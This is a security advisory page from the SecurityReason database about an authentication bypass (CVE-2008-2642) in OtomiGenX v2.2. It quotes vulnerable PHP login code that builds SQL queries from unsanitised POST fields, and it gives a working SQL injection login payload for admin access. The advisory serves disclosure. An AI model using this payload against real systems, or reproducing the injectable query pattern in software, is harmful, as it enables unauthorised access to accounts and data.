|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : SecurityAlert | ||||
 SecurityAlert : 3932 CVE : CVE-2008-2642 CWE : CWE-89 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Given : Yes Credit : Virangar Security Team Published : 12.06.2008
Advisory Text : ######################################################################## ############## # # # ...::::: OtomiGenX v2.2 Ultimate Authentication bypass Vulnerabilities ::::.... # ######################################################################## ############## Virangar Security Team www.virangar.net www.virangar.ir -------- Discoverd By :virangar security team(hadihadi) special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hackerz greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) ---------------- .::::admin Authentication bypass vuln::::. //vuln code in login.php: ... .. ... line 29: $passwd = md5($_POST[userPassword]); // md5 hash password if($_POST[userType] != 'Staff') {$sql = "SELECT userID, userName FROM user_account WHERE userAccount='$_POST[userAccount]' AND userPassword='$passwd' AND userType='$_POST[userType]' AND isApproved='1'"; }else $sql = "SELECT staffID, staffName, staffGroupID FROM staff WHERE staffAccount='$_POST[userAccount]' AND staffPassword='$passwd'"; ... ----- Exploit: User Name:admin ' or 1=1/* Password :[whatever] usertype:staff -------------- References : http://xforce.iss.net/xforce/xfdb/42795 http://www.securityfocus.com/archive/1/archive/1/492914/100/0/threaded http://secunia.com/advisories/30504 Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |